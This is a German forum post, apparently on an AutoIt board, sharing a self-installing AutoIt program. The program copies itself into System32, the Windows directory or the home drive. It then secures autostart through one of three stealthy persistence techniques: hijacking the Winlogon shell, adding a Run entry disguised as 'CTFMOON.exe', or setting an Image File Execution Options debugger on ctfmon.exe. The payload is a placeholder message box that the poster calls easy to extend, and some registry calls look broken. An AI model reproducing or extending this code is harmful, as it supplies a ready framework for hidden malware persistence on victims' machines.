Hi leute,
hab ma einfach so ein Programm erstellt, das sich einfach "Variabel" in die Registry einträgt um so gestartet zu werden... ![]()
Ist auch gut für eine Kindersicherung oder ähnliches...
Einfach ma angucken aber am besten nich am eigenen System probieren
ist halt "Beta" ...
Es ist auch sehr einfach erweiterbar
#RequireAdmin
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_UseX64=n
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
If @Compiled Then
#NoTrayIcon
EndIf
;;;;Variablen;;;;;
Global Const $Version_Programm = 1.2
Global Const $Reg_Debuging_Key = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options'
Global Const $Reg_Shell_Key = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' ;Shell Key Stdwert: Explorer.exe
Global Const $Reg_Version_Key = 'HKEY_LOCAL_MACHINE\SOFTWARE\mainstart'
Global Const $Reg_Run_Key = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
Global $Random_Pfad = ''
;;Prüfung ob schon Installiert;;
If Not RegRead($Reg_Version_Key, 'Version') =< $Version_Programm Then
Install(Random(1, 3, 1))
Else
;Schon Installiert;
$InstallationsVariante = RegRead($Reg_Version_Key, 'Installationsart')
;Commandline Generation;
$Command = ''
If $CMDline[0] <> 0 Then
beep()
For $i = 1 To $CMDline[0]
$Command &= $CMDline[$i]
Next
EndIf
;;Auswertung;;
Select
Case $InstallationsVariante = 1
;Explorer.exe Starten;
RegWrite ($Reg_Shell_Key,'Shell','REG_SZ','Explorer.exe')
Run(@WindowsDir & '\Explorer.exe ' & $Command)
sleep(1000)
RegWrite ($Reg_Shell_Key,'Shell','REG_SZ',RegRead($Reg_Version_Key, 'Pfad'))
Hauptteil()
Case $InstallationsVariante = 2
;Autostarteintrag;
Hauptteil()
Case $InstallationsVariante = 3
;Debugging von CTFMON.exe;
Hauptteil()
EndSelect
EndIf
[/autoit][autoit][/autoit][autoit]Func Hauptteil()
;Eigendlicher Code hier;
msgbox (0,'(=','Hallo Welt')
Beep()
EndFunc ;==>MAIN
Func Install($InstallationsVariante) ;Installiert den Code auf verschiedene Arten
Random_Pfad(Random(1, 3, 1)) ;;;Variablen Pfad erstellen;;;
;;;Ausgabe;;;
ConsoleWrite("Installationsart : " & $InstallationsVariante & @CRLF)
ConsoleWrite("Installations Pfad : " & $Random_Pfad & @CRLF)
Sleep(1000)
;;;Arbeitsabschnitt;;;
Standart_Installations_Schritte($InstallationsVariante)
Select
Case $InstallationsVariante = 1
;Varinate 1 : explorer.exe ersetzen und alle Anfragen umleiten
RegWrite($Reg_Shell_Key, 'Shell', 'REG_SZ', $Random_Pfad)
Case $InstallationsVariante = 2
;Variante 2 : Autostart eintrag
$Key_Name = 'CTFMOON.exe'
msgbox (0,$i,$Key_Name)
RegWrite($Reg_Run_Key, $Key_Name, 'REG_SZ', $Random_Pfad)
Case $InstallationsVariante = 3
;CTFMON.exe Debuggen;
RegWrite ($Reg_Debuging_Key,'ctfmon.exe')
RegWrite ($Reg_Debuging_Key&'\ctfmon.exe','REG_SZ',$Random_Pfad)
EndSelect
EndFunc ;==>Install
Func Standart_Installations_Schritte($InstallationsVariante)
FileCopy(@ScriptFullPath, $Random_Pfad)
RegWrite($Reg_Version_Key) ;Schlüssel erstellen
RegWrite($Reg_Version_Key, 'Installationsart', 'REG_SZ', $InstallationsVariante) ;Installationsart
RegWrite($Reg_Version_Key, 'Version', 'REG_SZ', $Version_Programm) ;Programmversion
RegWrite($Reg_Version_Key, 'Pfad', 'REG_SZ', $Random_Pfad) ;Pfad zur mainstart.exe
EndFunc ;==>Standart_Installations_Schritte
Func Random_Pfad($InstallationsPfad) ;;;Erstellt einen Variablen Pfad;;;
Select
Case $InstallationsPfad = 1
;;;System32\mainstart.exe;;;
$Random_Pfad = @SystemDir & '\mainstart.exe'
Case $InstallationsPfad = 2
;;;Windows\mainstart.exe;;;
$Random_Pfad = @WindowsDir & '\mainstart.exe'
Case $InstallationsPfad = 3
;;;Homedrive\mainstart.exe;;;
$Random_Pfad = @HomeDrive & '\mainstart.exe'
EndSelect
EndFunc ;==>Random_Pfad
lg Pceumel